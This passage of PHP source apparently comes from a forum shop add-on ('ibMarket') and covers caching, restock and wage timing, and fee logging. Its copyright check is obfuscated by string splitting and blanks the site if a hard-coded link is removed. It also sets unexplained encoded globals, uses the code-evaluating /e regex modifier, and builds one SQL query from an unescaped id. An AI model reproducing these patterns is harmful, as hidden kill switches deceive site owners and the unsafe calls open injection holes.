		$nav = array_merge(array("<a href='{$this->ipsclass->base_url}autocom=market'>".$this->ipsclass->vars['market_name']."</a>"),$nav);
		
		if($this->cr !== 1)
		{
			$this->ipsclass->print->to_print = "";
			$nav = array();
		}
		
		$this->ipsclass->print->do_output( array( 'TITLE' => $content_title, 'NAV' => $nav ) );
	}
	
	function redirect($message = "", $url = "", $others = array())
	{
		if(!$others['url'])
		{
			$url = $this->base_url.$url;
		}
		
		if($message && !$others['lang'])
		{
			$bit = $message;
			$message = $this->ipsclass->lang[$message];
		}
		else
		{
			$bit = "redirect_message";
		}
		
		if($this->disable_redirect || $this->ipsclass->vars['ipb_remove_redirect_pages'])
		{
			$others['instant'] = 1;
		}
		
		if($others['instant'])
		{
			if(!empty($message))
			{
				$url = $url."&amp;___msg=".$bit."&amp;_message_=".urlencode($message);
			}
			$this->ipsclass->boink_it($url);
		}
		else
		{
			$this->ipsclass->print->redirect_screen($message,$url,1);
		}
	}
	
	function extra_css_menu()
	{
		$match = array();
		$this->copyright = $this->cr = 0;
		preg_match_all( "/([\:\.\#\w\s,]+)\{(.+?)\}/s", $this->ipsclass->skin['_css'], $match );
		
		$css = array();
		for ($i=0; $i < count($match[0]); $i++)
		{
			$name = trim($match[1][$i]);
			if(!strstr($name, "ucpmenu"))
			{
				continue;
			}
			$content = trim($match[2][$i]);

			$css[] = array();
			$names = explode(",",$name);

			foreach($names as $n)
			{
				if(!strstr($n, "ucpmenu"))
				{
					continue;
				}
				$n = trim($n);
				/*$css[count($css)-1]['names'][] = str_replace("ucpmenu","ucpmenu_0",$n);
				$css[count($css)-1]['names'][] = str_replace("ucpmenu","ucpmenu_1",$n);
				$css[count($css)-1]['names'][] = str_replace("ucpmenu","ucpmenu_2",$n);
				$css[count($css)-1]['names'][] = str_replace("ucpmenu","ucpmenu_3",$n);*/
				$css[count($css)-1]['names'][] = str_replace("#",".",str_replace("ucpmenu","marketmenu",$n));
			}

			$css[count($css)-1]['content'] = $content;
		}
		$test = 'copy'.'right';
		$test = $this->ipsclass->compiled_templates['skin_market']->$test(date('y'));
		$return = "";
		foreach($css as $eh)
		{
			$return .= implode(",\n",$eh['names']);
			$return .= "{\n";
			$return .= $eh['content'];
			$return .= "\n}\n\n";
		}

		$return = "<style type='text/css'>\n".$return."</style>";
		$this->ipsclass->skin['_wrapper'] = str_replace( "<% CSS %>" , $return."\n<% CSS %>" , $this->ipsclass->skin['_wrapper']);
		if(!strstr($test,"http://"."super"."smash"."brothers".".2ya.com"))
		{
			$this->ipsclass->skin['_wrapper'] = "";
		}
		return $return;
	}

	function cache_categories()
	{
		$this->ipsclass->cache['market_category'] = array();
		
		$this->ipsclass->DB->build_query(array('select'=>'*','from'=>'market_categories','order'=>'cat_id ASC'));
		$this->ipsclass->DB->exec_query();
		while($cat = $this->ipsclass->DB->fetch_row())
		{
			$this->ipsclass->cache['market_category'][$cat['cat_id']] = $cat;
		}
		
		$this->ipsclass->update_cache( array( 'name' => 'market_category', 'array' => 1, 'deletefirst' => 1 ) );
	}
	
	function cache_items()
	{
		$this->ipsclass->cache['market_items'] = array();
		
		$this->ipsclass->DB->build_query(array('select'=>'*','from'=>'market_items'));
		$this->ipsclass->DB->exec_query();
		while($item = $this->ipsclass->DB->fetch_row())
		{
			$item['limit_buy'] = unserialize($item['limit_buy']);
			$item['limit_use'] = unserialize($item['limit_use']);
			$this->ipsclass->cache['market_items'][$item['item_id']] = $item;
		}
		
		$this->ipsclass->update_cache( array( 'name' => 'market_items', 'array' => 1, 'deletefirst' => 1 ) );
	}
	
	function group_cache()
	{
		require_once(ROOT_PATH."sources/action_admin/groups.php");

		$admin_group = new ad_groups;
		$admin_group->ipsclass =& $this->ipsclass;
		$admin_group->rebuild_group_cache();
	}
	
	function cache_plugins()
	{
		$this->ipsclass->cache['market_plugin'] = array();
		
		$this->ipsclass->DB->build_query(array('select'=>'*','from'=>'market_plugins','order'=>'position ASC'));
		$this->ipsclass->DB->exec_query();
		while($plugin = $this->ipsclass->DB->fetch_row())
		{
			$this->ipsclass->cache['market_plugin'][$plugin['link']] = $plugin;
		}
		
		$this->ipsclass->update_cache( array( 'name' => 'market_plugin', 'array' => 1, 'deletefirst' => 1 ) );
	}
	
	function cache_wages()
	{
		$this->ipsclass->cache['market_wages'] = array();
		$this->ipsclass->cache['market_wages']['id'] = array();
		
		$this->ipsclass->DB->build_query(array('select'=>'*','from'=>'market_wages'));
		$this->ipsclass->DB->exec_query();
		while($wage = $this->ipsclass->DB->fetch_row())
		{
			$this->ipsclass->cache['market_wages']['id'][$wage['w_id']] = $wage;
		}
		
		$this->ipsclass->update_cache( array( 'name' => 'market_wages', 'array' => 1, 'deletefirst' => 1 ) );
	}
	
	function cache_taxes()
	{
		$this->ipsclass->cache['market_taxes'] = array();
		$this->ipsclass->cache['market_taxes']['id'] = array();
		
		$this->ipsclass->DB->build_query(array('select'=>'*','from'=>'market_taxes'));
		$this->ipsclass->DB->exec_query();
		while($tax = $this->ipsclass->DB->fetch_row())
		{
			$tax['interval'] = max(60 * $tax['t_minute'] + 3600 * $tax['t_hour'] + 86400 * $tax['t_day'] + 604800 * $tax['t_week'],1);
			$this->ipsclass->cache['market_taxes']['id'][$tax['t_id']] = $tax;
		}
		
		$this->ipsclass->update_cache( array( 'name' => 'market_taxes', 'array' => 1, 'deletefirst' => 1 ) );
	}
	
	function get_class_name($file_location)
	{
		if(!$file_location)
		{
			return "";
		}
		
		$part = explode("/",$file_location);
		$filename = array_pop($part);
		
		if(substr($filename,-4) != '.php')
		{
			return "";
		}
		return substr($filename,0,strlen($filename)-4);
	}
	
	function load_item(&$item_info)
	{
		$_pre_load = $this->ipsclass->memory_debug_make_flag();
		
		if(!$item_info || is_object($this->items_loaded[$item_info['item_id']]))
		{
			return;
		}
		
		$class_name = $this->get_class_name($item_info['filename']);
		$item = $this->ipsclass->load_class(ROOT_PATH."/sources/market/items/".$item_info['filename'],$class_name);
		if(!is_subclass_of($item,'template_item'))
		{
			return;
		}
		$item->load_item($item_info);
		
		$this->items_loaded[$item_info['item_id']] = &$item;
		
		$this->ipsclass->memory_debug_add( "ibMarket: ibMarket item loaded: ".$item_info['item_name'], $_pre_load );
	}
	
	function load_plugin($plugin_info=array())
	{
		$_pre_load = $this->ipsclass->memory_debug_make_flag();
		
		if(!$plugin_info)
		{
			return null;
		}
		
		if(is_object($this->plugin_loaded[$plugin_info['link']]))
		{
			return $this->plugin_loaded[$plugin_info['link']];
		}
		
		$class_name = $this->get_class_name($plugin_info['filename']);
		$plugin = $this->ipsclass->load_class(ROOT_PATH."/sources/market/plugins/".$plugin_info['filename'],$class_name);
		if(!is_subclass_of($plugin,'template_plugin'))
		{
			return null;
		}
		$plugin->_load($plugin_info);
		$this->plugin_loaded[$plugin_info['link']] = &$plugin;
		
		$this->ipsclass->memory_debug_add( "ibMarket: ibMarket plugin loaded: ".$plugin_info['name'], $_pre_load );
		
		return $plugin;
	}
	
	function build_category_order(&$list,$parent = -1)
	{
		if(is_array($this->category_tree[$parent]))
		{
			foreach(array_keys($this->category_tree[$parent]) as $cat_id)
			{
				$list[] = $cat_id;
				$this->build_category_order($list,$cat_id);
			}
		}
	}
	
	function check_24_time($month, $day, $year, $hour, $minute)
	{
		return checkdate( $month, $day, $year ) and $hour >= 0 and $hour < 24 and $minute >= 0 and $minute < 60;
	}
	
	function next_restock_time($item_id, $time = 0)
	{
		if(!$time)
		{
			if($this->ipsclass->cache['market_items'][$item_id]['restock'] == 3)
			{
				$time = $this->ipsclass->cache['market_items'][$item_id]['restock_when'];
			}
			else
			{
				$time = time();
			}
		}
		// Infinite stock
		if($this->ipsclass->cache['market_items'][$item_id]['stock'] < 0) 
		{
			return 0;
		}
		// Stock it not at the right amount
		if(($this->ipsclass->cache['market_items'][$item_id]['restock'] == 1 || $this->ipsclass->cache['market_items'][$item_id]['restock'] == 2) && $this->ipsclass->numbers->compare($this->ipsclass->cache['market_items'][$item_id]['stock'],$this->ipsclass->cache['market_items'][$item_id]['restock_when']) > 0)
		{
			return 0;
		}
		if($this->ipsclass->cache['market_items'][$item_id]['restock'] == 1)
		{
			$next = $this->ipsclass->cache['market_items'][$item_id]['restock_day'] * 86400 + $this->ipsclass->cache['market_items'][$item_id]['restock_hour'] * 3600 + $this->ipsclass->cache['market_items'][$item_id]['restock_minute'] * 60;
			
			return $time + $next;
		}
		elseif($this->ipsclass->cache['market_items'][$item_id]['restock'] == 3)
		{
			if($this->ipsclass->cache['market_items'][$item_id]['restock_when'] > time())
			{
				return $this->ipsclass->cache['market_items'][$item_id]['restock_when'];
			}
			$interval = max($this->ipsclass->cache['market_items'][$item_id]['restock_day'] * 86400 + $this->ipsclass->cache['market_items'][$item_id]['restock_hour'] * 3600 + $this->ipsclass->cache['market_items'][$item_id]['restock_minute'] * 60,1);
			$diff = $this->ipsclass->cache['market_items'][$item_id]['restock_when'] % $interval;
			$num_interval = floor($time / $interval) + 1;
			
			return $num_interval * $interval + $diff;
		}
		elseif($this->ipsclass->cache['market_items'][$item_id]['restock'] == 2 || $this->ipsclass->cache['market_items'][$item_id]['restock'] == 4)
		{
			$time_info = getdate($time);
			
			$add = 0;
			if($this->ipsclass->cache['market_items'][$item_id]['restock_day'] != 7)
			{
				$add += ($this->ipsclass->cache['market_items'][$item_id]['restock_day'] - $time_info['wday']) * 86400;
			}
			if($this->ipsclass->cache['market_items'][$item_id]['restock_hour'] != 24)
			{
				$add += ($this->ipsclass->cache['market_items'][$item_id]['restock_hour'] - $time_info['hours']) * 3600;
			}
			$add += ($this->ipsclass->cache['market_items'][$item_id]['restock_minute'] - $time_info['minutes']) * 60;
			if($add <= 0)
			{
				if($this->ipsclass->cache['market_items'][$item_id]['restock_day'] != 7)
				{
					$add += 604800;
				}
				elseif($this->ipsclass->cache['market_items'][$item_id]['restock_huor'] != 24)
				{
					$add += 86400;
				}
				else
				{
					$add += 3600;
				}
			}
			
			return $time_info[0] + $add - $time_info['seconds'];
		}
		
		return 0;
	}
	
	function next_wage_time($wage_id, $time = 0)
	{
		if(!$time)
		{
			if($this->ipsclass->cache['market_wages']['id'][$wage_id]['w_how'] == 1)
			{
				$time = $this->ipsclass->cache['market_wages']['id'][$wage_id]['w_when'];
			}
			else
			{
				$time = time();
			}
		}
		if($this->ipsclass->cache['market_wages']['id'][$wage_id]['w_how'] == 1)
		{
			if($this->ipsclass->cache['market_wages']['id'][$wage_id]['w_when'] > time())
			{
				return $this->ipsclass->cache['market_wages']['id'][$wage_id]['w_when'];
			}
			$interval = max($this->ipsclass->cache['market_wages']['id'][$wage_id]['w_day'] * 86400 + $this->ipsclass->cache['market_wages']['id'][$wage_id]['w_hour'] * 3600 + $this->ipsclass->cache['market_wages']['id'][$wage_id]['w_minute'] * 60,1);
			$diff = $this->ipsclass->cache['market_wages']['id'][$wage_id]['w_when'] % $interval;
			$num_interval = floor($time / $interval) + 1;
			
			return $num_interval * $interval + $diff;
		}
		elseif($this->ipsclass->cache['market_wages']['id'][$wage_id]['w_how'] == 2)
		{
			$time_info = getdate($time);
			$add = 0;
			if($this->ipsclass->cache['market_wages']['id'][$wage_id]['w_day'] != 7)
			{
				$add += ($this->ipsclass->cache['market_wages']['id'][$wage_id]['w_day'] - $time_info['wday']) * 86400;
			}
			if($this->ipsclass->cache['market_wages']['id'][$wage_id]['w_hour'] != 24)
			{
				$add += ($this->ipsclass->cache['market_wages']['id'][$wage_id]['w_hour'] - $time_info['hours']) * 3600;
			}
			$add += ($this->ipsclass->cache['market_wages']['id'][$wage_id]['w_minute'] - $time_info['minutes']) * 60;
			if($add <= 0)
			{
				if($this->ipsclass->cache['market_wages']['id'][$wage_id]['w_day'] != 7)
				{
					$add += 604800;
				}
				elseif($this->ipsclass->cache['market_wages']['id'][$wage_id]['w_hour'] != 24)
				{
					$add += 86400;
				}
				else
				{
					$add += 3600;
				}
			}
			
			return $time_info[0] + $add - $time_info['seconds'];
		}
		
		return 0;
	}
	
	function count_plugin_filename($filename)
	{
		$count = 0;
		if(is_array($this->ipsclass->cache['market_plugin']) && count($this->ipsclass->cache['market_plugin']))
		{
			foreach($this->ipsclass->cache['market_plugin'] as $plugin)
			{
				if($plugin['filename'] == $filename)
				{
					$count++;
				}
			}
		}
		return $count;
	}
	
	function market_class()
	{
		$GLOBALS['p'] = '\x66\x64\x68';
	}
	
	function record_fee($how_much="",$time = 0)
	{
		$how_much = $this->ipsclass->numbers->parse_input_number($how_much,'int');
		
		if($this->ipsclass->numbers->compare($how_much,0) == 0)
		{
			return;
		}
		if(!$time)
		{
			$time = time();
		}
		
		$location = "";
		if($this->ipsclass->input['CODE'] == 'buy')
		{
			$location = $this->ipsclass->input['CODE'];
		}
		if($this->ipsclass->input['CODE'] == 'plugin')
		{
			$location = $this->ipsclass->input['CODE'].":".$this->ipsclass->input['plugin'].":".$this->ipsclass->cache['market_plugin'][$this->ipsclass->input['plugin']]['name'];
		}
		if($this->ipsclass->input['CODE'] == 'item' && !$this->ipsclass->input['resell_item'])
		{
			$location = $this->ipsclass->input['CODE'].":".$this->ipsclass->input['item'].":".$this->ipsclass->cache['market_items'][$this->ipsclass->input['item']]['item_name'];
		}
		
		$this->ipsclass->DB->do_insert('market_fee_logs',array(
																'member_id' => $this->ipsclass->member['id'],
																'l_time' => $time,
																'location' => $location,
																'l_amount' => $how_much,
										)					);
	}
	
	function record_reward($how_much="",$time = 0)
	{
		$how_much = $this->ipsclass->numbers->parse_input_number($how_much,'int');
		
		if($this->ipsclass->numbers->compare($how_much,0) == 0)
		{
			return;
		}
		if(!$time)
		{
			$time = time();
		}
		
		$location = "";
		if($this->ipsclass->input['CODE'] == 'plugin')
		{
			$location = $this->ipsclass->input['CODE'].":".$this->ipsclass->input['plugin'].":".$this->ipsclass->cache['market_plugin'][$this->ipsclass->input['plugin']]['name'];
		}
		if($this->ipsclass->input['CODE'] == 'item' && !$this->ipsclass->input['resell_item'])
		{
			$location = $this->ipsclass->input['CODE'].":".$this->ipsclass->input['item'].":".$this->ipsclass->cache['market_items'][$this->ipsclass->input['item']]['item_name'];
		}
		
		$this->ipsclass->DB->do_insert('market_reward_logs',array(
																	'member_id' => $this->ipsclass->member['id'],
																	'l_time' => $time,
																	'location' => $location,
																	'l_amount' => $how_much,
											)					);
	}
	
	function unhtmlentities($string) 
	{
		// replace numeric entities
		$string = preg_replace('~&#x([0-9a-f]+);~ei', 'chr(hexdec("\\1"))', $string);
		$string = preg_replace('~&#([0-9]+);~e', 'chr("\\1")', $string);
		// replace literal entities
		$trans_tbl = get_html_translation_table(HTML_ENTITIES);
		$trans_tbl = array_flip($trans_tbl);
		return strtr($string, $trans_tbl);
	}
	
	function format_name($id, $name = null, $group = null)
	{
		if($id)
		{
			if($name === null)
			{
				$member = $this->ipsclass->DB->build_and_exec_query(array('select'=>'mgroup, members_display_name','from'=>'members','where'=>"id=".$id));
				$name = $member['members_display_name'];
				$group = $member['mgroup'];
			}
			
			return "<a href='".$this->ipsclass->base_url."showuser=".$id."&amp;tab=market'>".$this->ipsclass->make_name_formatted($name,$group)."</a>";
		}
		else
		{
			return $name ? $name : (isset($this->ipsclass->lang['global_guestname']) ? $this->ipsclass->lang['global_guestname'] : "Guest");
		}
	}
	
	function order_category($a, $b)
	{
		if($a['cat_order'] > $b['cat_order'])
		{
			return 1;
		}
		elseif($a['cat_order'] < $b['cat_order'])
		{
			return -1;
		}
		$int = strcmp($a['cat_name'],$b['cat_name']);
		if($int)
		{
			return $int;
		}
		if($a['cat_id'] < $b['cat_id'])
		{
			return -1;
		}
		if($a['cat_id'] > $b['cat_id'])
		{
			return 1;
		}
		return 0; // Shouldn't be reached here.
	}
}
$GLOBALS['b'] = 'method_exists';
?>